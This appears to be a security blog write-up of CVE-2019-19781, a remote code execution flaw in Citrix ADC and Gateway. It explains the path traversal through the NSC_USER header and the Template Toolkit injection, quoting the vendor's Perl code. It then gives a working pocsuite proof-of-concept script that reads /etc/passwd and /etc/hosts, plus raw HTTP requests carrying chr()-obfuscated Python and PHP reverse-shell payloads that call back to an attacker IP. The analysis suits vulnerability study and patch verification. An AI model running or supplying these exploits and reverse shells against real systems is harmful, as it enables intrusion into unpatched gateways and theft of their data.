CVE-2019-19781: Citrix Application DC & Citrix Gateway RCE

January 10, 2020 7 minutes

Analysis

Two steps:

  1. Use path traversal request newbm.pl to write to xml file (1sh HTTP request).

  2. Template toolkit load and parse the xml file(2nd Request).

Path Traversal

In the published payload, you can see that the problem is under the vpns folder. We were able to find useful information in the http.conf file:

Alias /vpns/portal/scripts/ /netscaler/portal/scripts/
...
PerlSetEnv portalLoc /vpns/portal/
PerlSetEnv PortalRoot /netscaler/
PerlRequire /netscaler/portal/utils/startup.pl
PerlModule NetScaler::Portal::Handler

<Location /vpns/portal/>
  SetHandler perl-script
  PerlResponseHandler NetScaler::Portal::Handler
  PerlSendHeader On
</Location>

In the payload you can find the http post request header:

NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/12603aaf

We find NSC_USER int the /netscaler/portal/modules/NetScaler/Portal/UserPrefs.pm

We can see that the username comes from the NSC_USER field in the http request and is spliced into the filename. So we can specify any file under vpns.This code is encapsulated in a csd function, and all code that calls this method will have problems.

my $username = Encode::decode('utf8', $ENV{'HTTP_NSC_USER'}) || errorpage("Missing NSC_USER header.");
$self->{username} = $username;  
...
$self->{session} = %session;
$self->{filename} = NetScaler::Portal::Config::c->{bookmark_dir} . Encode::encode('utf8', $username) . '.xml';

I found two points.

handler.pm:

$r->no_cache(1);
my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();

newbm.pl:

my $cgi = new CGI;

my $user = NetScaler::Portal::UserPrefs->new();
my $doc = $user->csd();

Further found that you can write files in newbm.pl.

my $doc = $user->csd();

#disallow get requests to make it difficult to launch XSRF attacks
if ($ENV{'REQUEST_METHOD'} ne 'POST') { 
 my $msg = "Access Denied";
 print "Location: " . $ENV{portalLoc} . "error.html?$msg\n\n";  
 exit;
}

my $newurl = Encode::decode('utf8', $cgi->param('url'));
my $newtitle = Encode::decode('utf8', $cgi->param('title'));
my $newdesc = Encode::decode('utf8', $cgi->param('desc'));
my $UI_inuse = Encode::decode('utf8', $cgi->param('UI_inuse'));
...
$user->filewrite($doc);

The generated file is as follows.

<?xml version="1.0" encoding="UTF-8"?>
<user username="../../../netscaler/portal/templates/2d13335a">
  <bookmarks>
    <bookmark UI_inuse="" descr="[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]" title="2d13335a" url="http://example.com" />
  </bookmarks>
  <escbk>
  </escbk>
  <filesystems></filesystems>
  <style></style>
</user>

Template Process the xml

Citrix uses Template Toolkit to parse templates.The second request for /vpn/../vpns/portal/youfilename.xml, this operation will be handled by the Handler module.

 my $tmplfile = $r->path_info();
  $tmplfile =~ s[^/][];
  my $template = Template->new({INCLUDE_PATH =>  NetScaler::Portal::Config::c->{template_dir},CACHE_SIZE => 64, COMPILE_DIR=> NetScaler::Portal::Config::c->{template_compile_dir}, COMPILE_EXT => '.ttc2'});
  if ($tmplfile =~/.*\.css$/){
  	$r->send_http_header('text/css');
  } else {
  	$r->send_http_header('text/html');
  }
  
  $template->process($tmplfile, $doc) || do {
    my $error = $template->error();
    my $lcError = lc($error);
    if ( $error->type() eq "file" && $lcError  =~ /^file error/ && $lcError =~ /.not found$/ ) {
      return NOT_FOUND;
    }
    print NetScaler::Pcsd ortal::UserPrefs::html_escape_string($error), "\n";
  };

Template Toolkit can eval perl without EVAL_PERL.

We use tpage for testing.

Re-Appear

Download: https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-36-27.html

Install in VMware:

You need to configure the IpAddress GetWay & Mask. You can Login the virtual machine use ssh tool(nsrecover/nsroot).

PoC

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Time : 2020/1/10 10:28
# Author : William Jones
# File : poc2.py
# Email : [email protected]
# copyright: (c) 2020 by William Jones.
# license: Apache2, see LICENSE for more details.
# description: Life is Fantastic.

import urlparse

from pocsuite.api.poc import POCBase
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.request import req
from pocsuite.api.utils import randomStr


class TestPOC(POCBase):

    vulID = 'CVE-2019-19781'
    version = ''
    author = ''
    vulDate = '2020-01-10'
    createDate = '2020-01-10'
    updateDate = '2020-01-10'
    references = [
        "https://cert.360.cn/warning/detail?id=acd3738e106ab653ab2c27a93427eb67"
    ]
    name = ''
    appPowerLink = ''
    appName = ''
    appVersion = '''
        '''
    vulType = ''
    desc = '''
        '''
    samples = [ ]
    install_requires = ""

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        self.raw_url = self.url
        host = urlparse.urlparse(self.url).hostname
        port = urlparse.urlparse(self.url).port
        scheme = urlparse.urlparse(self.url).scheme
        if port is None:
            port = "443"
        else:
            port = str(port)
        if "https" == scheme:
            self.url = "%s://%s" % (scheme, host)
        else:
            self.url = "%s://%s:%s" % (scheme, host, port)

        command = 'cat /etc/passwd'
        res = self.run_cmd(command=command)
        if "root:*:0:0" in res:
            result["VerifyInfo"] = {}
            result["VerifyInfo"]["url"] = self.url
            result["VerifyInfo"]["passwd"] = res
            result["VerifyInfo"]["hosts"] = self.run_cmd("cat /etc/hosts")
        return self.parse_output(result)

    def run_cmd(self, command):
        filename = randomStr(10)
        return self.port_req(self.url, filename, command)

    def port_req(self, url, filename, cmd):
        newbm_url = url + '/vpn/../vpns/portal/scripts/newbm.pl'
        headers = {
            "Connection": "close",
            "NSC_USER": "../../../netscaler/portal/templates/%s" % filename,
            "NSC_NONCE": "nsroot"
        }
        payload = "url=http://example.com&title=" + filename + "&desc=[% template.new('BLOCK' = 'print `" + cmd + "`') %]"
        try:
            r = req.post(url=newbm_url, headers=headers, data=payload, verify=False, allow_redirects=False)
        except Exception as e:
            return None
        if r.status_code == 200 and 'parent.window.ns_reload' in r.content:
            return self.get_res(url, filename)
        else:
            return None

    def get_res(self, url, filename):
        xml_url = url + '/vpn/../vpns/portal/%s.xml' % filename
        headers = {
            "NSC_USER": "nsroot",
            "NSC_NONCE": "nsroot"
        }
        res = None
        try:
            r = req.get(xml_url, headers=headers, verify=False)
        except Exception as e:
            return res

        if r.status_code == 200:
            res = r.content.split("&#117;")[0]
        return res

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)

The result

Get Shell

Use Python

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/shellcode
Content-Length: 2693

url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(47) . chr(118) . chr(97) . chr(114) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(112) . chr(121) . chr(116) . chr(104) . chr(111) . chr(110) . chr(32) . chr(45) . chr(99) . chr(32) . chr(39) . chr(105) . chr(109) . chr(112) . chr(111) . chr(114) . chr(116) . chr(32) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(44) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(44) . chr(111) . chr(115) . chr(59) . chr(115) . chr(61) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(40) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(65) . chr(70) . chr(95) . chr(73) . chr(78) . chr(69) . chr(84) . chr(44) . chr(10) . chr(115) . chr(111) . chr(99) . chr(107) . chr(101) . chr(116) . chr(46) . chr(83) . chr(79) . chr(67) . chr(75) . chr(95) . chr(83) . chr(84) . chr(82) . chr(69) . chr(65) . chr(77) . chr(41) . chr(59) . chr(115) . chr(46) . chr(99) . chr(111) . chr(110) . chr(110) . chr(101) . chr(99) . chr(116) . chr(40) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(41) . chr(59) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(48) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(49) . chr(41) . chr(59) . chr(32) . chr(111) . chr(115) . chr(46) . chr(100) . chr(117) . chr(112) . chr(50) . chr(40) . chr(115) . chr(46) . chr(102) . chr(105) . chr(108) . chr(101) . chr(110) . chr(111) . chr(40) . chr(41) . chr(44) . chr(10) . chr(50) . chr(41) . chr(59) . chr(112) . chr(61) . chr(115) . chr(117) . chr(98) . chr(112) . chr(114) . chr(111) . chr(99) . chr(101) . chr(115) . chr(115) . chr(46) . chr(99) . chr(97) . chr(108) . chr(108) . chr(40) . chr(91) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(34) . chr(44) . chr(34) . chr(45) . chr(105) . chr(34) . chr(93) . chr(41) . chr(59) . chr(39))'})%]

Use PHP

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.81.168
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/phpcode
Content-Length: 930

url=http://example.com&title=12603aaf&desc=[% template.new({'BLOCK'='print readpipe(chr(112) . chr(104) . chr(112) . chr(32) . chr(45) . chr(114) . chr(32) . chr(39) . chr(36) . chr(115) . chr(111) . chr(99) . chr(107) . chr(61) . chr(102) . chr(115) . chr(111) . chr(99) . chr(107) . chr(111) . chr(112) . chr(101) . chr(110) . chr(40) . chr(34) . chr(49) . chr(57) . chr(50) . chr(46) . chr(49) . chr(54) . chr(56) . chr(46) . chr(56) . chr(49) . chr(46) . chr(49) . chr(54) . chr(55) . chr(34) . chr(44) . chr(32) . chr(49) . chr(48) . chr(48) . chr(56) . chr(57) . chr(41) . chr(59) . chr(101) . chr(120) . chr(101) . chr(99) . chr(40) . chr(34) . chr(47) . chr(98) . chr(105) . chr(110) . chr(47) . chr(115) . chr(104) . chr(32) . chr(45) . chr(105) . chr(32) . chr(60) . chr(38) . chr(51) . chr(32) . chr(62) . chr(38) . chr(51) . chr(32) . chr(50) . chr(62) . chr(38) . chr(51) . chr(34) . chr(41) . chr(59) . chr(39))'})%]

Reference

[1] http://www.template-toolkit.org/

[2] https://perl.apache.org/docs/2.0/user/handlers/http.html

[3] https://www.linkedin.com/pulse/cve-2019-19781-patrick-coble/?published=t

[4] https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781

[5] https://www.tripwire.com/state-of-security/vert/citrix-netscaler-cve-2019-19781-what-you-need-to-know

[6] https://github.com/abw/Template2/blob/master/lib/Template/Service.pm

[7] https://docs.citrix.com/en-us/citrix-hardware-platforms/sdx/initial-configuration.html